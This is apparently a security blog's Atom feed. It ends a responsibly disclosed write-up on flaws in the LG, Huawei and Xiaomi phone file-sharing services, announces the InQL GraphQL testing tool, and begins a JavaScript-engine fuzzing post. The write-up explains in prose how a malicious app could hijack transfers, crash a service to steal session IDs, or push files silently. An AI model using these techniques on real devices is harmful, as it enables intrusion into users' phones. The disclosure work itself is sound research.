            &lt;span class=&quot;nt&quot;&gt;&amp;lt;Transmitter&amp;gt;&lt;/span&gt;Doyensec LG G6 Phone&lt;span class=&quot;nt&quot;&gt;&amp;lt;/Transmitter&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;SessionInformation&amp;gt;&lt;/span&gt;&lt;span class=&quot;ni&quot;&gt;&amp;amp;lt;&lt;/span&gt;?xml version=&lt;span class=&quot;ni&quot;&gt;&amp;amp;quot;&lt;/span&gt;1.0&lt;span class=&quot;ni&quot;&gt;&amp;amp;quot;&lt;/span&gt; encoding=&lt;span class=&quot;ni&quot;&gt;&amp;amp;quot;&lt;/span&gt;UTF-8&lt;span class=&quot;ni&quot;&gt;&amp;amp;quot;&lt;/span&gt;?&lt;span class=&quot;ni&quot;&gt;&amp;amp;gt;&amp;amp;lt;&lt;/span&gt;MetaInfo
                xmlns=&lt;span class=&quot;ni&quot;&gt;&amp;amp;quot;&lt;/span&gt;urn:wfa:filetransfer&lt;span class=&quot;ni&quot;&gt;&amp;amp;quot;&lt;/span&gt;
                xmlns:xsd=&lt;span class=&quot;ni&quot;&gt;&amp;amp;quot;&lt;/span&gt;http://www.w3.org/2001/XMLSchema&lt;span class=&quot;ni&quot;&gt;&amp;amp;quot;&lt;/span&gt;
                xmlns:xsi=&lt;span class=&quot;ni&quot;&gt;&amp;amp;quot;&lt;/span&gt;http://www.w3.org/2001/XMLSchema-instance&lt;span class=&quot;ni&quot;&gt;&amp;amp;quot;&lt;/span&gt; xsi:schemaLocation=&lt;span class=&quot;ni&quot;&gt;&amp;amp;quot;&lt;/span&gt;urn:wfa:filetransfer http://www.wi-fi.org/specifications/wifidirectservices/filetransfer.xsd&lt;span class=&quot;ni&quot;&gt;&amp;amp;quot;&amp;amp;gt;&amp;amp;lt;&lt;/span&gt;Note&lt;span class=&quot;ni&quot;&gt;&amp;amp;gt;&lt;/span&gt;1 and 4292012bytes File Transfer&lt;span class=&quot;ni&quot;&gt;&amp;amp;lt;&lt;/span&gt;/Note&lt;span class=&quot;ni&quot;&gt;&amp;amp;gt;&amp;amp;lt;&lt;/span&gt;Size&lt;span class=&quot;ni&quot;&gt;&amp;amp;gt;&lt;/span&gt;4292012&lt;span class=&quot;ni&quot;&gt;&amp;amp;lt;&lt;/span&gt;/Size&lt;span class=&quot;ni&quot;&gt;&amp;amp;gt;&amp;amp;lt;&lt;/span&gt;NoofItems&lt;span class=&quot;ni&quot;&gt;&amp;amp;gt;&lt;/span&gt;1&lt;span class=&quot;ni&quot;&gt;&amp;amp;lt;&lt;/span&gt;/NoofItems&lt;span class=&quot;ni&quot;&gt;&amp;amp;gt;&amp;amp;lt;&lt;/span&gt;Item&lt;span class=&quot;ni&quot;&gt;&amp;amp;gt;&amp;amp;lt;&lt;/span&gt;Name&lt;span class=&quot;ni&quot;&gt;&amp;amp;gt;&lt;/span&gt;CuteCat.jpg&lt;span class=&quot;ni&quot;&gt;&amp;amp;lt;&lt;/span&gt;/Name&lt;span class=&quot;ni&quot;&gt;&amp;amp;gt;&amp;amp;lt;&lt;/span&gt;Size&lt;span class=&quot;ni&quot;&gt;&amp;amp;gt;&lt;/span&gt;4292012&lt;span class=&quot;ni&quot;&gt;&amp;amp;lt;&lt;/span&gt;/Size&lt;span class=&quot;ni&quot;&gt;&amp;amp;gt;&amp;amp;lt;&lt;/span&gt;Type&lt;span class=&quot;ni&quot;&gt;&amp;amp;gt;&lt;/span&gt;image/jpeg&lt;span class=&quot;ni&quot;&gt;&amp;amp;lt;&lt;/span&gt;/Type&lt;span class=&quot;ni&quot;&gt;&amp;amp;gt;&amp;amp;lt;&lt;/span&gt;/Item&lt;span class=&quot;ni&quot;&gt;&amp;amp;gt;&amp;amp;lt;&lt;/span&gt;/MetaInfo&lt;span class=&quot;ni&quot;&gt;&amp;amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;/SessionInformation&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/u:CreateSendSession&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/s:Body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/s:Envelope&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SessionInformation&lt;/code&gt; node embeds an entity-escaped standard Wi-Fi Alliance schema, &lt;a href=&quot;http://www.wi-fi.org/specifications/wifidirectservices/filetransfer.xsd&quot;&gt;urn:wfa:filetransfer&lt;/a&gt;, transmitting a &lt;em&gt;CuteCat.jpg&lt;/em&gt; picture.
The file name (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MetaInfo/Item/Name&lt;/code&gt;) is displayed in the file transfer prompt to show to the final recipient the name of the transmitted file. By design, after the recipient’s confirmation, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateSendSessionResponse&lt;/code&gt; SOAP response will be returned:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.1 200 OK
Date: Sun, 01 Jun 2020 12:00:00 GMT
Connection: Keep-Alive
Content-Type: text/xml; charset=&quot;utf-8&quot;
Content-Length: 404
EXT: 
SERVER: UPnPServer/1.0 UPnP/1.0 Mobile/1.0
 
&lt;span class=&quot;cp&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;s:Envelope&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;xmlns:s=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;s:encodingStyle=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://schemas.xmlsoap.org/soap/encoding/&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;s:Body&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;u:CreateSendSessionResponse&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;xmlns:u=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:schemas-wifialliance-org:service:FileTransfer:1&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;SendSessionID&amp;gt;&lt;/span&gt;33&lt;span class=&quot;nt&quot;&gt;&amp;lt;/SendSessionID&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;TransportInfo&amp;gt;&lt;/span&gt;tcp:55432&lt;span class=&quot;nt&quot;&gt;&amp;lt;/TransportInfo&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/u:CreateSendSessionResponse&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/s:Body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/s:Envelope&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This will contain the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TransportInfo&lt;/code&gt; destination port that will be used for the final transfer:&lt;/p&gt;

&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;PUT&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;/CuteCat.jpeg&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;HTTP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1.1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;User-Agent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;LGMobile&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;192.168.49.1:55432&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;4292012&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Connection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Keep-Alive&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;image/jpeg&lt;/span&gt;

.... .Exif..MM ...&amp;lt;redacted&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;what-could-go-wrong&quot;&gt;What could go wrong?&lt;/h3&gt;

&lt;p&gt;Unfortunately this design suffers many issues, such as:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;A valid session ID isn’t required to finalize the transfer&lt;/strong&gt;&lt;br /&gt;
Once a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateSendSessionResponse&lt;/code&gt; is issued, no authentication is required to push a file to the opened RX port. Since the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DEFAULT_HTTPSERVER_PORT&lt;/code&gt; for the receiver is hardcoded to be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;55432&lt;/code&gt;, any application running on the sender’s or recipient’s device can hijack the transfer and push an arbitrary file to the victim’s storage, just by issuing a valid &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PUT&lt;/code&gt; request. On top of that, the current Session IDs are easily guessable, since they are randomly chosen from a small pool (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WfdsUtil.randInt(1, 100)&lt;/code&gt;);&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;File names and type can be arbitrarily changed by the sender&lt;/strong&gt;&lt;br /&gt;
Since  the transferred file name is never checked to reflect the one initially prompted to the user, it is possible for an attacker to specify a different file name or type from the one initially shown just by changing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PUT&lt;/code&gt; request path to an arbitrary value.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;It is possible to send multiple files at once without user confirmation&lt;/strong&gt;&lt;br /&gt;
Once the RX port (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DEFAULT_HTTPSERVER_PORT&lt;/code&gt;) is opened, it is possible for an attacker to send multiple files in a single transaction, without prompting any notification to the recipient.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because of the above design issues, any malicious third-party application installed on one of the peers’ devices may influence or take over any communication initiated by the legit LG SmartShare applications, potentially hijacking legit file transfers. A wormable malicious application could abuse this insecure design to flood the local or remote victim waiting for a file transfer, effectively propagating its malicious APK without user interaction required. An attacker could also abuse this design to implant arbitrary files or evidence on a victim’s device.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;huawei-share&quot;&gt;Huawei Share&lt;/h2&gt;

&lt;p&gt;Huawei Share is another file sharing solution included in Huawei’s EMUI operating system, supporting both Huawei terminals and those of its second brand, Honor.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;video controls=&quot;&quot; poster=&quot;../../../public/images/HuaweiShare.jpg&quot; src=&quot;../../../public/images/HuaweiShare.mp4&quot; title=&quot;Huawei Share Product Overview&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;true&quot; playsinline=&quot;&quot; align=&quot;center&quot; style=&quot;max-width: 80%; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;&quot;&gt;&lt;/video&gt;
&lt;/div&gt;

&lt;p&gt;In Huawei Share, an FTS (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FTSService&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com.huawei.android.wfdft.fts&lt;/code&gt;) and an FTC (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FTCService&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com.huawei.android.wfdft.ftc&lt;/code&gt;) are spawned and listening on ports &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8058&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;33003&lt;/code&gt;.
On a high level, the Share protocol resembles the LG SmartShare Beam mechanism, but without the same design flaws.&lt;/p&gt;

&lt;p&gt;Unfortunately, the stumbling block for Huawei Share is the stability of the services: multiple HTTP requests that could respectively crash the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FTCService&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FTSService&lt;/code&gt; were identified. Since the crashes could be triggered by any third-party application installed on the user’s device and because of the UPnP &lt;a href=&quot;http://upnp.org/specs/arch/UPnP-arch-DeviceArchitecture-v1.1.pdf&quot;&gt;General Event Notification Architecture (GENA)&lt;/a&gt; design itself, &lt;strong&gt;an attacker can still take over any communication initiated by the legit Huawei Share applications, stealing Session IDs and hijacking file transfers.&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;abusing-ftsftc-crashes&quot;&gt;Abusing FTS/FTC Crashes&lt;/h3&gt;

&lt;p&gt;In the replicated attack scenario, Alice and Bob’s devices are connected and paired on a Direct Wi-Fi connection. Bob also unwittingly runs a malicious application with little or no privileges on his device.
In this scenario, Bob initiates a file share through Huawei Share &lt;span class=&quot;dot&quot;&gt;1&lt;/span&gt;. His legit application will, therefore, send a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CreateSession&lt;/code&gt; SOAP action through a POST request to Alice’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FTCService&lt;/code&gt; to get a valid &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SessionID&lt;/code&gt;, which will be used as an authorization token for the rest of the transaction. During a standard exchange, after Alice accepts the transfer on her device, a file share event notification (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NOTIFY /evetSub&lt;/code&gt;) will fire to Bob’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FTSService&lt;/code&gt;. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FTSService&lt;/code&gt; will then be used to serve the intended file.&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;NOTIFY /evetSub HTTP/1.1
Content-Type: text/xml; charset=&quot;utf-8&quot;
HOST: 192.168.49.1
NT: upnp:event
NTS: upnp:propchange
SID: uuid:e9400170-a170-15bd-802e-165F9431D43F
SEQ: 1
Content-Length: 218
Connection: close
 
&lt;span class=&quot;cp&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;e:propertyset&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns:e=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:schemas-upnp-org:event-1-0&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
   &lt;span class=&quot;nt&quot;&gt;&amp;lt;e:property&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;nt&quot;&gt;&amp;lt;TransportStatus&amp;gt;&lt;/span&gt;1924435235:READY_FOR_TRANSPORT&lt;span class=&quot;nt&quot;&gt;&amp;lt;/TransportStatus&amp;gt;&lt;/span&gt;
   &lt;span class=&quot;nt&quot;&gt;&amp;lt;/e:property&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/e:propertyset&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Since an inherent time span exists between the manual acceptance of the transfer by Alice and its start, the malicious application could perform a request with an ad-hoc payload to trigger a crash of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FTSService&lt;/code&gt; &lt;span class=&quot;dot&quot;&gt;2&lt;/span&gt; and subsequently bind to the same port its own &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FTSService&lt;/code&gt; &lt;span class=&quot;dot&quot;&gt;3&lt;/span&gt;. Because of the UPnP event subscription and notification protocol design, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NOTIFY&lt;/code&gt; event including the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SessionID&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1924435235&lt;/code&gt; in the example above) can now be intercepted by the fake &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FTSService&lt;/code&gt; &lt;span class=&quot;dot&quot;&gt;4&lt;/span&gt; and used by the malicious application to serve arbitrary files.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/HuaweiShareLocalAttack.png&quot; title=&quot;Example of a local attacker exploiting a Huawei Share crash&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto; max-width: 80%;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;The crashes are undetectable both to the device’s user and to the file recipient. Multiple crash vectors using malformed requests were identified, making the service systemically weak and exploitable.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;xiaomi-mi-share&quot;&gt;Xiaomi Mi Share&lt;/h2&gt;

&lt;p&gt;Introduced with MIUI 11, Xiaomi’s MiShare offers AirDrop-like file transfer features between Mi and Redmi phones. Recently this feature was extended to be compatible with devices produced by the “Peer-to-Peer Transmission Alliance” (including vendors &lt;a href=&quot;https://www.xda-developers.com/oneplus-realme-black-shark-meizu-join-xiaomi-oppo-vivo-file-transfer-alliance/&quot;&gt;with over 400M users&lt;/a&gt; such as Xiaomi, OPPO, Vivo, Realme, Meizu).&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;video controls=&quot;&quot; poster=&quot;../../../public/images/MIUI-Share.png&quot; src=&quot;../../../public/images/MIUI-Share.mp4&quot; title=&quot;Huawei Share Product Overview&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;true&quot; playsinline=&quot;&quot; align=&quot;center&quot; style=&quot;max-width: 40%; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;&quot;&gt;&lt;/video&gt;
&lt;/div&gt;

&lt;p&gt;Due to this transition, MiShare internally features two different sets of APIs:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;One using bare HTTP requests, with many RESTful routes&lt;/li&gt;
  &lt;li&gt;One using mainly &lt;a href=&quot;https://tools.ietf.org/html/rfc6455&quot;&gt;Websockets Secure (WSS)&lt;/a&gt; and only a handful of HTTPS requests&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The websocket-based API is currently used by default for transfers between Xiaomi Devices and this is the one we assessed. As in other P2P solutions, several minor design and implementation bugs were identified:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;The JSON-encoded parcel sent via WSS specifying the file properties is trusted and its &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fileSize&lt;/code&gt; parameter is used to check if there is available space on the device left. Since this is the sender’s declared file size, a Denial of Service (DoS) exhausting the remaining space is possible.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Session tokens (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;taskId&lt;/code&gt;) are 19-digits long and a weak source of entropy (&lt;a href=&quot;https://docs.oracle.com/javase/8/docs/api/java/util/Random.html&quot;&gt;java.util.Random&lt;/a&gt;) is used to generate them.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Just like the other presented vendor solutions, any third-party application installed on the user’s device can meddle with MiShare’s exchange. While several DoS payloads crashing MiShare are also available, for this vendor the file transfer service is restarted very quickly, making the window of opportunity for an attack very limited.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On a brighter note, the Mi Share protocol design was hardened using per-session TLS certificates when communicating through WSS and HTTPS, limiting the exploitability of many security issues.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h2&gt;

&lt;p&gt;Some of the attacks described can be easily replicated in other existing mobile file transfer solutions. While the core technology has always been there, OEMs still struggle to defend their own P2P sharing flavors. Other common vulnerabilities found in the past include similar improper access control issues, path traversals, XML External Entity (XXE), improper file management, and monkey-in-the-middle (MITM) of the connection.&lt;/p&gt;

&lt;p&gt;All vulnerabilities briefly described in this post were responsibly disclosed to the respective OEM security teams between April and June 2020.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>InQL Scanner v3 - Just Released!</title>
   <link href="https://blog.doyensec.com/2020/11/19/inql-scanner-v3.html"/>
   <updated>2020-11-19T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2020/11/19/inql-scanner-v3</id>
   <content type="html">&lt;p&gt;We’re very happy to announce that a new major release of &lt;strong&gt;InQL&lt;/strong&gt; is now available on our &lt;a href=&quot;https://github.com/doyensec/inql/releases/tag/v3.0.0&quot;&gt;Release Page&lt;/a&gt;.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
    &lt;img src=&quot;../../../public/images/inql.png&quot; title=&quot;InQL Logo&quot; alt=&quot;InQL Logo&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto; width: 180px;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;If you’re not familiar, InQL is a security testing tool for &lt;a href=&quot;https://graphql.org/&quot;&gt;GraphQL&lt;/a&gt; technology. It can be used as a stand-alone script or as a &lt;a href=&quot;https://portswigger.net/burp&quot;&gt;Burp Suite&lt;/a&gt; extension.&lt;/p&gt;

&lt;p&gt;By combining InQL v3 features with the ability to send query templates to Burp’s Repeater, we’ve made it very easy to exploit vulnerabilities in GraphQL queries and mutations. This drastically lowers the bar for security research against GraphQL tech stacks.&lt;/p&gt;

&lt;p&gt;Here’s a short intro for major features that have been implemented in version 3.0:&lt;/p&gt;

&lt;h3 id=&quot;new-iir-introspection-intermediate-representation-and-precise-query-generation&quot;&gt;New IIR (Introspection Intermediate Representation) and Precise Query Generation&lt;/h3&gt;

&lt;p&gt;InQL now leverages an internal &lt;em&gt;introspection intermediate representation&lt;/em&gt; (IIR) to use details obtained from type introspection and generate arbitrarily nested queries with support for any scalar types, enumerations, arrays, and objects. IIR enables seamless “Send to Repeater” functionality from the Scanner to the other tool components (Repeater and GraphQL console).&lt;/p&gt;

&lt;h3 id=&quot;new-cycles-detector&quot;&gt;New Cycles Detector&lt;/h3&gt;

&lt;p&gt;The new IIR allows us to inspect cycles in defined Graphql schemas by simply using access to graphql introspection-enabled endpoints. In this context, a cycle is a path in the Graphql schema that uses recursive objects in a way that leads to unlimited nesting. The detection of cycles is incredibly useful and automates tedious testing procedures by employing graph solving algorithms. In some of our past client engagements, this tool was able to find millions of cycles in a matter of minutes.&lt;/p&gt;

&lt;h3 id=&quot;new-request-timer&quot;&gt;New Request Timer&lt;/h3&gt;

&lt;p&gt;InQL 3.0.0 has an integrated &lt;em&gt;Query Timer&lt;/em&gt;. This Query Timer is a reimagination of &lt;a href=&quot;https://github.com/PortSwigger/request-timer&quot;&gt;Request Timer&lt;/a&gt;, which can filter for query name and body. The Query Timer is enabled by default and is especially useful in conjunction with the Cycles detector. A tester can switch between graphql-editor modes (Repeater and GraphIQL) to &lt;a href=&quot;https://www.diva-portal.org/smash/get/diva2:1302887/FULLTEXT01.pdf&quot;&gt;identify DoS queries&lt;/a&gt;. Query Timer demonstrates the ability to attack such vulnerable graphql endpoints by counting each query’s execution time.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
    &lt;img src=&quot;../../../public/images/timerinql.gif&quot; title=&quot;InQL Timer&quot; alt=&quot;InQL Timer&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto&quot; /&gt;
&lt;/div&gt;

&lt;h3 id=&quot;bugs-fixes-and-future-development&quot;&gt;Bugs fixes and future development&lt;/h3&gt;

&lt;p&gt;We’re really thankful to all of you for reporting issues in our previous releases. We have implemented various fixes for functional and UX bugs, including a tricky bug caused by a sudden Burp Suite change in the latest 2020.11 update.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
    &lt;img src=&quot;../../../public/images/inqltwitterissue.png&quot; title=&quot;InQL Twitter Issue&quot; alt=&quot;InQL Twitter Issue&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;We’re excited to see the community embracing InQL as the “go-to” standard for GraphQL security testing. More features to come, so keep your requests and bug reports coming via our &lt;a href=&quot;https://github.com/doyensec/inql/issues&quot;&gt;Github’s Issue Page&lt;/a&gt;. Your feedback is much appreciated!&lt;/p&gt;

&lt;p&gt;This project was made with love in the &lt;a href=&quot;https://doyensec.com/research.html&quot;&gt;Doyensec Research Island&lt;/a&gt;.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Fuzzing JavaScript Engines with Fuzzilli</title>
   <link href="https://blog.doyensec.com/2020/09/09/fuzzilli-jerryscript.html"/>
   <updated>2020-09-09T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2020/09/09/fuzzilli-jerryscript</id>
   <content type="html">&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;

&lt;p&gt;As part of my research at Doyensec, I spent some time trying to understand current fuzzing techniques, which could be leveraged against the popular JavaScript engines (JSE) with a focus on V8. Note that I did not have any prior experience with fuzzing JSEs before starting this journey.&lt;/p&gt;

&lt;h3 id=&quot;dharma&quot;&gt;Dharma&lt;/h3&gt;
&lt;p&gt;My experimentation started with a context-free grammar (CFG) generator: &lt;a href=&quot;https://github.com/MozillaSecurity/dharma&quot;&gt;Dharma&lt;/a&gt;. I quickly realized that the grammar rules for generating valid JavaScript code that does something interesting are too complicated. Type confusion and &lt;a href=&quot;https://en.wikipedia.org/wiki/Just-in-time_compilation&quot;&gt;JIT&lt;/a&gt; engine bugs were my primary focus, however, most of the generated code was syntactically incorrect. Every statement was wrapped in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;try/catch&lt;/code&gt; block to deal with the incorrect code. After a few days of fuzzing, I was only able to find out-of-memory (OOM) bugs. If you want to read more about V8 JIT and Dharma, I recommend &lt;a href=&quot;https://blog.osiris.cyber.nyu.edu/2019/12/22/vasilisk/&quot;&gt;this thoughtful research&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Dharma allows you to specify three sections for various purposes. The first one is called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;variable&lt;/code&gt; and enables you the definition of variables later used in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;value&lt;/code&gt; section. The last one, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;variance&lt;/code&gt; is commonly used to specify the starting symbol for expanding the CFG tree.&lt;/p&gt;

&lt;p&gt;The linkage is implemented inside the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;value&lt;/code&gt; and a nice feature of Dharma is that here you only define the assignment rules or function invocations, and the variables are automatically created when needed. However, if we assign a variable of type A to one with the different type B, we have to include all the type A rules inside the type B object.&lt;/p&gt;

&lt;p&gt;Here is an example of such rule:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;TYPEDARRAY&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ARRAYBUFFER&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ANY_FUNCTION&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span 